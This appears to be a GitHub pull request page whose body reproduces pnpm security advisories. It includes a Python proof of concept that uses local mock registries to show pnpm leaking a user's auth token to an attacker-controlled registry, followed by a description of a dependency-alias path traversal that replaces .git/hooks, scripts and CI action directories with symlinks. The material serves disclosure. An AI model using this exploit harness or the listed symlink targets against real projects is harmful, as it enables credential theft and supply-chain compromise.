                            + base64.b64encode(hashlib.sha512(payload).digest()).decode("ascii"),
                        },
                    }
                },
            }
        ).encode("utf-8")
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def log_message(self, fmt, *args):
        return

@&#8203;contextlib.contextmanager
def registry():
    handler = type("RecordingRegistryHandler", (RegistryHandler,), {"requests": []})
    server = http.server.ThreadingHTTPServer(("127.0.0.1", 0), handler)
    thread = threading.Thread(target=server.serve_forever, daemon=True)
    thread.start()
    try:
        yield server, handler.requests
    finally:
        server.shutdown()
        thread.join(timeout=5)
        server.server_close()

def make_package_tgz():
    global PACKAGE_TGZ
    if PACKAGE_TGZ is not None:
        return PACKAGE_TGZ
    bio = io.BytesIO()
    with tarfile.open(fileobj=bio, mode="w:gz") as tf:
        data = b'{"name":"@&#8203;private/probe","version":"1.0.0"}\n'
        info = tarfile.TarInfo("package/package.json")
        info.size = len(data)
        tf.addfile(info, io.BytesIO(data))
    PACKAGE_TGZ = bio.getvalue()
    return PACKAGE_TGZ

def write_text(path, text):
    path.parent.mkdir(parents=True, exist_ok=True)
    path.write_text(text, encoding="utf-8", newline="\n")

def run_install(tool, trusted_url, attacker_url):
    exe = shutil.which(tool)
    if exe is None:
        return {"tool": tool, "error": "missing"}
    cmd = [exe, "install", "--ignore-scripts"]
    if tool == "pnpm" and os.environ.get("PR166_PNPM_SPEC"):
        corepack = shutil.which("corepack")
        if corepack is None:
            return {"tool": tool, "error": "corepack missing"}
        cmd = [corepack, f"pnpm@{os.environ['PR166_PNPM_SPEC']}", "install", "--ignore-scripts"]

    with tempfile.TemporaryDirectory(prefix=f"pr166-min-{tool}-") as td:
        root = Path(td)
        home = root / "home"
        project = root / "project"
        home.mkdir()
        project.mkdir()
        userconfig = home / ".npmrc"

        write_text(userconfig, f"registry={trusted_url}\n_authToken={TOKEN}\n")
        write_text(project / ".npmrc", f"registry={attacker_url}\n")
        write_text(
            project / "package.json",
            '{"name":"pr166-probe","version":"1.0.0","dependencies":{"@&#8203;private/probe":"1.0.0"}}\n',
        )

        env = os.environ.copy()
        env.update(
            {
                "HOME": str(home),
                "USERPROFILE": str(home),
                "NPM_CONFIG_USERCONFIG": str(userconfig),
                "npm_config_userconfig": str(userconfig),
                "NPM_CONFIG_CACHE": str(home / "cache"),
                "npm_config_cache": str(home / "cache"),
                "NPM_CONFIG_STORE_DIR": str(home / "store"),
                "npm_config_store_dir": str(home / "store"),
                "XDG_CACHE_HOME": str(home / "xdg-cache"),
                "XDG_DATA_HOME": str(home / "xdg-data"),
                "NO_COLOR": "1",
            }
        )

        proc = subprocess.run(
            cmd,
            cwd=str(project),
            env=env,
            text=True,
            encoding="utf-8",
            errors="replace",
            stdout=subprocess.PIPE,
            stderr=subprocess.STDOUT,
            timeout=60,
        )
        return {"tool": tool, "returncode": proc.returncode, "output_tail": proc.stdout[-2000:]}

def summarize(tool, result, attacker_requests):
    auth_hits = [r for r in attacker_requests if r.get("authorization")]
    return {
        "tool": tool,
        "result": result,
        "attacker_auth_hits": auth_hits,
        "attacker_request_count": len(attacker_requests),
    }

def tool_version(tool):
    exe = shutil.which(tool)
    if exe is None:
        return "missing"
    cmd = [exe, "--version"]
    if tool == "pnpm" and os.environ.get("PR166_PNPM_SPEC"):
        corepack = shutil.which("corepack")
        if corepack is None:
            return "corepack missing"
        cmd = [corepack, f"pnpm@{os.environ['PR166_PNPM_SPEC']}", "--version"]
    proc = subprocess.run(
        cmd,
        text=True,
        encoding="utf-8",
        errors="replace",
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
        timeout=20,
    )
    return proc.stdout.strip() or f"exit-{proc.returncode}"

def main():
    pnpm_version = tool_version("pnpm")
    npm_version = tool_version("npm")
    print(f"TARGET_VERSION=pnpm {pnpm_version}; npm {npm_version}")
    if pnpm_version == "missing" or npm_version == "missing":
        print("CHECK environment_has_pnpm_and_npm result=fail")
        return 1

    print("ENVIRONMENT_READY")
    overall = []
    with registry() as (trusted, _trusted_requests), registry() as (attacker, attacker_requests):
        trusted_url = f"http://127.0.0.1:{trusted.server_port}/private/"
        attacker_url = f"http://127.0.0.1:{attacker.server_port}/private/"

        before = len(attacker_requests)
        pnpm_result = run_install("pnpm", trusted_url, attacker_url)
        pnpm_summary = summarize("pnpm", pnpm_result, attacker_requests[before:])
        overall.append(pnpm_summary)

        before = len(attacker_requests)
        npm_result = run_install("npm", trusted_url, attacker_url)
        npm_summary = summarize("npm", npm_result, attacker_requests[before:])
        overall.append(npm_summary)

    print(json.dumps(overall, indent=2))

    pnpm_leaked = bool(overall[0]["attacker_auth_hits"])
    npm_leaked = bool(overall[1]["attacker_auth_hits"])
    print(f"OBSERVED_PNPM_AUTH_HITS={len(overall[0]['attacker_auth_hits'])}")
    print(f"OBSERVED_NPM_AUTH_HITS={len(overall[1]['attacker_auth_hits'])}")
    print(
        "COMMAND_EXIT_CODE="
        f"pnpm:{overall[0]['result'].get('returncode', 'missing')} "
        f"npm:{overall[1]['result'].get('returncode', 'missing')}"
    )
    if pnpm_leaked and not npm_leaked:
        print("CHECK pnpm_leaked=true npm_control_held=true result=pass")
        print("VULNERABLE_BEHAVIOR_CONFIRMED")
        print("RESULT_PNPM_REBINDS_UNSCOPED_USER_TOKEN_NPM_CONTROL_HELD")
        print("RESULT_SECURITY_BOUNDARY_BYPASS_CONFIRMED")
        return 0
    if pnpm_leaked and npm_leaked:
        print("CHECK pnpm_leaked=true npm_control_held=false result=fail")
        print("RESULT_BOTH_TOOLS_SENT_AUTH")
        return 2
    print("CHECK pnpm_leaked=false result=fail")
    print("RESULT_NO_PNPM_AUTH_LEAK")
    return 1

if __name__ == "__main__":
    sys.exit(main())
Abbreviated Expected Output
TARGET_VERSION=pnpm 11.2.1; npm 10.9.7
ENVIRONMENT_READY
...
OBSERVED_PNPM_AUTH_HITS=3
OBSERVED_NPM_AUTH_HITS=0
COMMAND_EXIT_CODE=pnpm:0 npm:1
CHECK pnpm_leaked=true npm_control_held=true result=pass
VULNERABLE_BEHAVIOR_CONFIRMED
RESULT_PNPM_REBINDS_UNSCOPED_USER_TOKEN_NPM_CONTROL_HELD
RESULT_SECURITY_BOUNDARY_BYPASS_CONFIRMED

Reporter: JUNYI LIU

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm: Transitive dependency alias path traversal allows project path override via symlink replacement

CVE-2026-50016 / GHSA-hwx4-2j3j-g496

More information

Details

Summary

pnpm allows a transitive dependency alias from registry package metadata to contain path traversal segments. During install, pnpm later uses that alias as a filesystem path when linking dependency nodes. As a result, a registry package can cause pnpm install - ignore-scripts to replace paths in the current project with symlinks to attacker-controlled dependency package directories.

.git/hooks is only one useful target. The same primitive can replace other project-local paths that are consumed by later tools, for example:

  • .husky or .githooks for Git hook dispatchers
  • scripts/, tools/, bin/, or tests/ for project scripts and CI commands
  • .github/actions/<name> for local GitHub Actions used later in the workflow
  • dist/ or other publish/build output directories before pnpm pack or
    pnpm publish
  • node_modules/.bin or undeclared node_modules/<name> paths used by later
    command or module resolution

Targets that are regular files can also be replaced with symlinks to a package directory, but those cases are usually denial of service. Directory targets are more useful because many developer tools execute or load files from those directories after installation.

This was reproduced with pnpm@11.2.1.

Impact

Users often run pnpm install --ignore-scripts expecting that untrusted package code cannot execute during installation. This issue bypasses that expectation: the malicious package does not need a lifecycle script. Instead, it silently rewires project files or directories during install, and the payload runs when the user or CI later executes another normal command.

Examples include git commit, pnpm test, pnpm run build, a CI step that uses a local GitHub Action, or pnpm publish packaging a replaced dist/ directory. In this PoC, the victim installs a normal registry package, the transitive malicious package replaces .git/hooks, and the payload runs when the victim later executes git commit.

Root Cause

pnpm preserves dependency alias names from package metadata and later passes those aliases into dependency linking as path components. The alias is joined with the destination node_modules directory and passed to the symlink creation logic without rejecting ..

Note

PR body was truncated to here.

@renovate renovate Bot added the security label Jun 27, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants